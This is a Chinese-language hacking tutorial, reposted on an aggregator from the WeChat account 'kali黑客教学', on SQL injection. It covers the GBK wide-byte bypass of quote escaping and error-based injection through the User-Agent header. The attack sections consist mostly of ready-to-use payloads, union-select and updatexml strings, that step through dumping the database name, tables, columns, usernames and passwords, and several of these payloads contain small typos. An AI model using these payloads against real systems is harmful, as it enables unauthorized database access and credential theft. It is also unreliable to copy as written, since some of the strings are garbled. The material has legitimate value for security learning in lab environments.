搜文章
推荐 原创 视频 Java开发 iOS开发 前端开发 JavaScript开发 Android开发 PHP开发 数据库 开发工具 Python开发 Kotlin开发 Ruby开发 .NET开发 服务器运维 开放平台 架构师 大数据 云计算 人工智能 开发语言 其它开发
Lambda在线 > kali黑客教学 > sql注入(宽字节/HTTP Header篇)

sql注入(宽字节/HTTP Header篇)

kali黑客教学 2019-04-17

sql注入(宽字节/HTTP Header篇)

sql注入(宽字节/HTTP Header篇)



sql注入(宽字节/HTTP Header篇)

宽字节篇

sql注入(宽字节/HTTP Header篇)


注入原理

magic_quotes_gpc=On的情况下,提交的参数中如果带有单引号,就会被自动转义\’,使很多注入攻击无效,

GBK双字节编码:一个汉字用两个字节表示,首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),刚好涵盖了转义符号\对应的编码0×5C。

0xD50×5C 对应了汉字“”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“”。
下面分析攻击过程:

/test.php?username=test%d5′%20or%201=1%23&pwd=test

经过浏览器编码,username参数值为(单引号的编码0×27)

username=test%d5%27%20or%201=1%23

经过php的url解码

username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (为了便于阅读,在字符串与16进制编码之间加了空格)

经过PHP的GPC自动转义变成(单引号0×27被转义成\’对应的编码0×5c0×27):

username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23

因为在数据库初始化连接的时候SET NAMES ‘gbk’,0xd50×5c解码后为诚,0×27解码为’,0×20为空格,0×23为mysql的注释符#

上面的SQL语句最终为:SELECT * FROM user WHERE username=’test诚’ or 1=1#’ and password=’test’;

注释符#后面的字符串已经无效,等价于

SELECT * FROM user WHERE username=’test诚’ or 1=1;

条件变成永真,成功注入。

补充:

0xD50×5C不是唯一可以绕过单引号转义的字符,0×81-0xFE开头+0×5C的字符应该都可以。

手工注入

开启漏洞环境,并用burp抓包

sql注入(宽字节/HTTP Header篇)
抓包.png

爆出数据库

%df' union select 1,database() %23
sql注入(宽字节/HTTP Header篇)
数据库.png

爆出表

%df' union select 1,group_concat(table_name) from information_schema.columns where table_schema=database()  %23
sql注入(宽字节/HTTP Header篇)

注意:这里列出了四个 users表,意味着该表下面有四个字段


爆出数据

查用户

%df' union select 1,username  from users where 1=1 limit 0,1 %23
sql注入(宽字节/HTTP Header篇)
用户.png

查密码


%df' union select 1password from users where 1=1 limit 0,1 %23
sql注入(宽字节/HTTP Header篇)
密码.png

sql注入(宽字节/HTTP Header篇)

HTTP Header篇 sql注入(宽字节/HTTP Header篇)


什么是Http Header注入

有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragentaccept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑
则可能会导致基于http headerSQL Inject漏洞。

sql注入(宽字节/HTTP Header篇)
QQ截图20190409180542.png

基于user-agent字段

验证

user-agent字段后输入'效果如下

sql注入(宽字节/HTTP Header篇)
验证.png

爆出数据库

User-Agent: 1'or updatexml(1,concat(0x7e,(database())),0) or'
sql注入(宽字节/HTTP Header篇)
数据库.png

爆出表

User-Agent: test001' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or'
sql注入(宽字节/HTTP Header篇)
表.png

爆出列

User-Agent:test001' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0or'
sql注入(宽字节/HTTP Header篇)
QQ截图20190409175930.png

爆出内容

User-Agent:test001' or updatexml(1,concat(0x7e,(select concat_ws(':', username, passwordfrom users limit 0,1)),0or'
sql注入(宽字节/HTTP Header篇)
QQ截图20190409180053.png

其他

sql注入(宽字节/HTTP Header篇)

温馨提示

由于微信压缩的缘故,上传的图片不清晰,请点击阅读原文,查看大图。


更多教程 扫码关注

低调QQ三群

(长按扫码即可加入)

bbskali.cn(kali论坛)点击阅读原文 快速访问

版权声明:本站内容全部来自于腾讯微信公众号,属第三方自助推荐收录。《sql注入(宽字节/HTTP Header篇)》的版权归原作者「kali黑客教学」所有,文章言论观点不代表Lambda在线的观点, Lambda在线不承担任何法律责任。如需删除可联系QQ:516101458

文章来源: 阅读原文

相关阅读

关注kali黑客教学微信公众号

kali黑客教学微信公众号:chinahoncker

kali黑客教学

手机扫描上方二维码即可关注kali黑客教学微信公众号

kali黑客教学最新文章

精品公众号随机推荐